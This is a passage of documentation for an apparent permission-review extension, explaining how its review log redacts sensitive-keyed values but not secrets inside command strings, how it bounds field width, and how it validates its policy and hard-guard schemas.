Values bound to a sensitive key name — authorization, token, secret, password, credential, cookie, api_key, private_key, matched case-insensitively — are masked as [redacted] before anything is written.
So a tool called with {"authorization": "Bearer …"} records {"authorization": "[redacted]"}.
The boundary is worth stating exactly, because it is easy to over-read:
A value bound to a sensitive key name is masked; a secret embedded in a bash command string is not.
A command string has no keys, so deploy --token abc123 is logged unredacted.
The extension deliberately does not try to guess which parts of a command look secret-shaped — see ADR 0010 for the measured reasoning.
Every value the review log writes is narrowed to reviewLogFieldMaxWidth (1000 characters by default) and marked with an ellipsis, so a single pathological command cannot put tens of kilobytes in one entry.
This is a length bound, not redaction: it never inspects a value to decide what to hide, and it applies to every field alike.
The two compose — a sensitive-keyed value is masked whole however long it was.
The debug log is left unbounded, since it is opt-in and exists to be read in full.
Practical guidance:
- Treat both log files as sensitive when sharing them: scrub before pasting into an issue or a chat.
- Set
"permissionReviewLog": false(and leavedebugLogoff) for a session that will handle credentials on the command line. - Owner-only modes do not protect against anything running as you, including a backup or cloud-sync agent that copies your home directory.
Schema Validation
The package includes two schemas:
schemas/permissions.schema.jsonforpolicy.jsonc;schemas/hard-guards.schema.jsonforhard-guards.jsonc.
Associate those packaged files with the corresponding JSONC filenames in your editor. Command-line validators that only accept JSON must receive a comment-stripped temporary copy; do not rewrite the user's JSONC merely to validate it.
The ordinary policy schema is generated from src/config-schema.ts; regenerate it with npm run gen:schema after changing that shape. Keep the hard-guard schema synchronized with HardGuardPolicyLoader whenever its accepted document changes.